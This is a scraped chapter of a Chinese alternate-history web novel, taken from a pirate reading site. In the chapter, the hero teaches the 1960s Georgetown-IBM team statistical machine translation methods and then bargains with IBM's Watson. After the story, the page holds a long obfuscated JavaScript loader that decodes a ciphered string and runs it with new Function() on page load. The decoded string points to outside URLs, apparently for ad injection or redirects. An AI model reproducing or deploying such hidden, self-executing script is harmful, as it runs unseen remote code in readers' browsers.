首页
第148章 你们能比我更懂机
返回

第148章 你们能比我更懂机器翻译(5k)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第148章你们能比我更懂机器翻译(5k)
    「教授,你不是做语言翻译的,语言是规则的游戏,概率这太不靠谱了。」保罗·加尔文还想再挣扎一下。
    当然他确实也不信翻译和统计学能扯上什麽关系。
    词语之间一一对应。
    英文单词和俄语单词一一对应,直接直译,扩充语料库。
    在当时的思维里,这才是正道。
    也就是所谓穷举法。
    把所有的词语做好一一对应之后,自动翻译也就实现了。
    统计学,概率游戏,不谈如果林燃是对的,他们的无能会暴露无遗,光是林燃提到的改进原理从直觉上来说就是错误的。
    简单来说,反直觉。
    就像在GPT大模型出来之前,大家都觉得算法最重要。
    GPT出来之后,大家开始都一窝蜂力大飞砖。
    等到deepseek的时候,好像算法有点用。
    哪怕是顶级的研究人员,也会有盲从的问题,会有迷茫丶找不到方向丶走不出来的情况。
    在这个计算机的混沌年代,会这样再正常不过了。
    「精确?精确意味着出错,现在的计算机远远达不到精确这一点。
    你们难道不清楚,你们在54年之所以演示出了良好的效果,是因为那些俄语句子是你们精挑细选出来的。
    实际自然语言的复杂性要远超你们预期。
    你们只做了语料库的扩展,规则覆盖都没有做,上下文依赖处理也没有。
    你们能比我更懂机器翻译?」
    林燃怒吼道:「你们做了九年都没有进展,现在立刻马上按照我说的去做!」
    林燃的地位丶实力和权力摆在这,他们根本没有拒绝的选择。
    沃森会信林燃就不说了,毕竟深蓝项目才结束,国防部的麦克纳马拉那更是林燃说什麽就是什麽。
    你们这帮搞计算机的能比数学大师更懂计算机?
    林燃在博弈论和统计学上展现出来的风采,麦克纳马拉还没忘呢。
    IBM的CEO支持林燃,国防部部长支持林燃,乔治敦大学的研究团队只能被按在地上摩擦。
    「我们要做的一共五点,优化算法和规则设计,扩充语料和词汇,改进数据处理的效率,引入统计方法和硬体最大化利用。
    其中改进数据处理效率和硬体最大化利用由IBM方面负责。
    另外三点则由乔治敦大学的成员们负责。
    我们先来谈优化算法和规则设计。
    你们一直的问题在于,你们对于规则集的扩张没有引入更加细化的句法规则。
    因为存储有限,你们觉得扩充对照词汇库就够了。
    实际上句法规则显得更加重要。
    你们需要做到,引进常见的高频句型。
    对上下文进行依赖处理。使词汇翻译考虑前后词,通过有限的上下文窗口来减少歧义。
    比如свет同时有光和世界的意思。
    这个完全可以根据前词判断是光还是世界。」
    沃森弱弱提醒道:「教授,你还会俄语啊?」
    林燃一副理所当然的样子:「当然,我都和科罗廖夫见了两面,我不会俄语怎麽和他交流的?
    我同时会俄语丶德语丶英语和汉语。」
    多语言大师的身份,给林燃的理论增添了几分可信度。
    在这个时代,科学家们会几门语言并不奇怪。
    当然一些敏感部门会提高对你的怀疑。
    以前面提到的约翰·麦卡锡为例,他就精通俄语,从小接受俄语教育长大,尽管他出生在阿美莉卡。
    「另外翻译过程,应该是模块化设计,而不是简单的映射关系。
    它应该分成预处理丶翻译丶后处理三部分。
    预处理包括了分词和词形还原,翻译才是词典的映射,后处理是对语序进行调整。
    这样来降低单次计算的复杂度,提高规则的复用率!」
    林燃的话给了在座研究团队的成员们非常多的灵感。
    就好像之前一直陷在百越的丛林里找不到出路,而现在天上出现一道光指引他们怎麽样才能走出丛林迷宫。
    大家都有点迫不及待去尝试了。
    所有研究人员都疯狂在笔记本上记录下林燃所说的。
    虽然不确定教授的方法是否管用,但有路总比之前没有好。
    再者,如果你不好好记下来,到时候被开除只是教授一句话的事。
    「好了刚才我们讲了一些简单的内容,现在才是最难的。
    因为IBM的机器不是那麽强大,我们只能引入一些比较简单的统计学方法来提高我们翻译的准确度。
    我把它叫做基于频率的词对齐。
    这也是我们引入统计模型的核。
    我们先要手动分析平行句子,标注俄语词或短语与英语翻译的对应关系。
    俄语句子Мыговоримомире
    英语翻译:「Wespeakaboutpeace
    对齐结果:「мы」对应「we」
    「говорим」对应「speak」
    「о」对应「about」
    「мире」对应「peace」
    然后我们需要对这种对齐的频率进行统计。
    统计每个俄语词或短语在英语中的对应翻译出现的频率。
    例如,在语料中,「говорим」在80%的句子中翻译为「speak」,20%翻译为「talk」。
    这样对于我们就可以构建概率表了。
    将这些概率整理成表格,供机器进行查询。由于内存空间有限,我们暂时只存储高频词对,像出现次数前1000的词对,忽略低频情况。
    当翻译某个词的时候出现多个选择,就参考概率表选择最可能的翻译。
    另外就是统计相邻词的共现频率。мы经常与говорим一起出现,对应Wespeak,机器在翻译的时候则优先选择这个组合。
    通过规则优先处理和统计方法处理模糊情况的方式,来弥补规则的不足!」
    林燃从统计学的角度给他们好好上了一课。
    不过这只是一个开始。
    在座的研究团队们知道了林燃优化策略的轮廓,具体实践过程中还有大量的细节要进行调整丶尝试和优化。
    不过光是现在所说的引进概率,这一点,在座乔治敦翻译机器的资深研究员们都有种恍然大悟的感觉。
    前面讲的优化算法和规则设计什麽的,他们感觉有道理,但判断不了具体实践是不是真的管用。
    但这统计学方法的引入,光靠想像就知道,能够显着提升乔治敦翻译机器的效果。
    当天的工作结束后,红石基地周边的小餐馆里,加尔文和多斯特尔特坐在角落,面前是两杯当地特色的啤酒。
    加尔文放下笔记本,叹了口气说:「利昂,我们真的是蠢货吗?」
    今天听完之后,加尔文都要怀疑人生了。
    林燃提出了一整套的解决方案,这套解决方案里完整也就算了,其中很多点他们都想到过,但想不到要如何实现,另外就是一些他们连想都没有想到的点。
    一整个团队差不多快十年的研发思路,不如林燃一下午的乾货多。
    加尔文已经怀疑人生了。
    「教授的想法不是超前,而是太实际了。
    你会感觉天马行空,但实际上结合在一起想想,又会觉得无比的实际。
    哪怕现在还没开始,光是从教授提出的框架,我都能想到,采用这套完整方案对乔治敦翻译机器升级后,它的效果会有多好。」加尔文接着感慨道。
    现在他终于知道为什麽NASA的研究人员和工程师能容忍林燃的毒舌了,差距太大,心服口服。
    尤其统计相邻词汇共现频率,这并不难想到,但他们就是想不到。
    而用统计方法处理歧义场景,增加统计学算法,这个就他们连想都想不到。
    多斯特尔特转过头,微微苦笑道:「我也一直在琢磨。他提出的统计方法,听起来像是天方夜谭,但结果摆在眼前。
    我估计了一下,乔治敦翻译系统在教授的指导下,质量至少能提升一大截。
    我们不需要精心准备短句,它可以应用在更广泛的场景,而不是局限在军事领域。」
    加尔文点点头:「是啊,我一开始还不信,语言这种东西明明是规则驱动的,怎麽能靠统计解决?可他用事实让我闭嘴了。
    不愧是教授,教授对于本质的洞察力是跨越领域的。」
    多斯特尔特沉思片刻:「你说的没错,感觉就好像他能看穿机器翻译的本质。
    也许这是数学训练带来的好处,我怕自己再和教授多呆一段时间,我都想去念一个数学博士了。」
    加尔文惊讶地看了他一眼:「数学博士?别开玩笑。」
    多斯特尔特认真地说:「我没开玩笑。
    如果数学真的能够帮助我们更好的洞察本质,我觉得去念一个统计学的博士未尝不可。」
    加尔文沉默了一会儿,笑道:「如果你去,我也去。」
    多斯特尔特举起啤酒都要溢出的酒杯:「为教授乾杯!教授将给我们带来胜利!」
    加尔文笑着回应:「乾杯!不过教授的脾气,如果教授能温和一点就好了。」
    另一边,IBM的两位工程师卡斯伯特·赫德和彼得·谢里丹也对林燃佩服的五体投地。
    卡斯伯特揉了揉太阳穴,问:「彼得,你觉得教授的统计模型真能行吗?」
    彼得放下笔,笑着说:「卡斯伯特,我得坦白,一开始我完全不看好他,可现在我彻底服了。教授提出的方法不但让IBM7090的性能发挥到了极致,而且能让翻译从混乱的状态至少有了概率做支撑」
    卡斯伯特点头:「我看乔治敦大学的那帮家伙也这麽认为的,你没看到加尔文的态度从一开始的质疑到后来听的无比认真。
    教授的算法优化得太完美了。」
    彼得苦笑:「魔法吗?作为这个时代最厉害的数学家之一,也许没有之一,统计学对教授而言也许只是简单的数独游戏罢了。
    只是我没想到教授能把概率论和语言学结合得如此巧妙,我以前从没想过机器翻译还能这麽玩。」
    卡斯伯特好奇地问:「你说教授精通俄语,他今天那几句俄语,可是标准的不能再标准了。
    同时还横跨多个领域,别说IBM,整个阿美莉卡恐怕也没有人能搞出这样的方案。
    教授会不会和苏俄有关?」
    彼得无语道:「苏俄人会让教授呆在阿美莉卡?
    要是我是尼基塔,我不可能让教授这样的人才呆在白宫。
    哪怕能从NASA获得技术机密,但无论获得多少技术机密,恐怕都不如教授本身有价值吧。
    而且你有没有想过,如果教授没有在NASA,而是在莫斯科和科罗廖夫联手,你能想像这个场景下,阿美莉卡能赢得太空竞赛吗?」
    卡斯伯特只是想了想,就马上摇头:「绝对不可能。」
    「所以,如果教授和苏俄有关系,怎麽可能呆在阿美莉卡。
    他需要做的第一件事恐怕就是在莫斯科主导载人登月。」彼得笑道。
    科学家通俄有可能,但拥有影响平衡能力的科学家通俄又不太可能。
    如果说他们只是佩服于林燃的学术造诣,那沃森就是全方位的佩服了。
    和约翰·摩根类似。
    不过沃森佩服的点和约翰·摩根又有所不同。
    「教授,你是如何想到要通过展览馆的方式来打造企业形象呢?」沃森举起红酒杯,面带微笑。
    时代广场边的深蓝展览馆给IBM赢得了巨大的声望。
    本来时代广场一直以来都是纽约地标式的建筑,几乎每个到纽约的游客必打卡的景点。
    而深蓝展览馆以一种不属于这个时代的风格吸引了所有人的眼球。
    结合里面全球仅此一份的人工智慧西洋棋,能够自动和人对弈。
    给当下民众的震撼是前所未有的。
    阿美莉卡企业通过公开展出的方式展示自身科技实力丶宣传自家科技产品的传统由来已久,这样的传统可以一直追溯到英格兰时期。
    无论是最早史蒂芬的火车还是后来的轮船,英格兰人都是召集民众,在报纸上大肆宣传。
    而阿美莉卡最早最成功的应该是爱迪生的灯泡,后来贝尔的电话也是经典案例。
    但他们都只是瞬间的,只有那一个时刻,给民众留下的印象要随着产品进入人们日常生活,他们才会对企业丶对品牌有一个更深的认知。
    而深蓝展览馆的存在,每一个去过的民众都会对那深蓝和黑色线条组成的场馆印象深刻。
    IBM=人工智慧=高科技的印象刻在了每一个参观过的民众的心里。
    这对IBM都不仅仅是企业形象和人工智慧捆绑这一点好处,这几乎已经奠定了,后续只要白宫下定决心要在人工智慧领域和苏俄争个高下。
    那供应商将没有别的选择,只有IBM。
    等于林燃的建议给IBM凭空送来一个全球最大客户,还是动辄数十年打底的长期订单。
    约翰·摩根旗下的通用航天从NASA手里拿到订单,好歹还给了林燃股份,沃森这可是什麽都没付出。
    别说林燃内涵他是蠢货,就算林燃直接指着他的鼻子这麽说,他也只会说是是是,我是蠢货。
    包厢内,服务员悄然退出,留下安静的交谈空间。
    「因为我觉得像深蓝这样的人工智慧,应该给大众留下足够深刻的印象。
    而不只在IBM内部展示。
    至于为什麽要找艺术家来负责设计,一个普通的剧院怎麽配得上深蓝呢?」
    沃森微笑着点头:「你说的太有道理了。
    我第一次看到技术方舟建成的时候,我有一种它不属于这个时代的感觉,正是有了你,才有了深蓝和技术方舟的诞生。
    教授,我必须敬你一杯。」
    别说什麽霍金来了都得敬酒。
    在林燃面前,你沃森也得给我敬酒。
    沃森接着道:「教授,我代表IBM公司,向你致以最诚挚的谢意。
    不仅是深蓝,在乔治敦-IBM项目中你做出的贡献令人叹为观止。你的创新方法将会让我们的机器翻译系统取得了突破性的进展。」
    虽然现在还谈不上突破性进展,但沃森已经有充分的信心了。
    林燃点了点头,说:「这是应该的,另外沃森,我想无论是深蓝还是乔治敦翻译机器,我为IBM做出的贡献不是金钱所能衡量的。」
    林燃丝毫不谦虚。
    这也让沃森脸上的笑容僵硬住了:「教授,我们会给你一份足够丰厚的金钱作为报酬的。」
    林燃摇了摇头:「我对金钱不感兴趣。」
    沃森想想也是,确实从来没听说过对方对金钱感兴趣。
    不过开口就想要股份,沃森还是有些犹豫。
    「教授。」还没等沃森说完。
    林燃接着说道:「我需要你满足我一点小小的条件。
    如果你无法满足我的条件,也许我要认真考虑和通用电气合作的可能性了。」
    通用电气,要素察觉。
    林燃和摩根家族的关系不用多说。
    沃森再清楚不过了。
    而通用电气也做计算机。
    虽然通用不做大型计算机,但通用的GE-225系列,作为一款基于电晶体的计算机,用于处理工资单丶库存管理和会计等任务。
    通用电气有这个能力,更有这个资本。
    要是再加上林燃,和林燃作为大师的号召力,确实能对IBM造成巨大的威胁。
    沃森的语气一下就软了下来:「教授,你想要什麽?」
    「《MIT辐射实验室系列》」
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();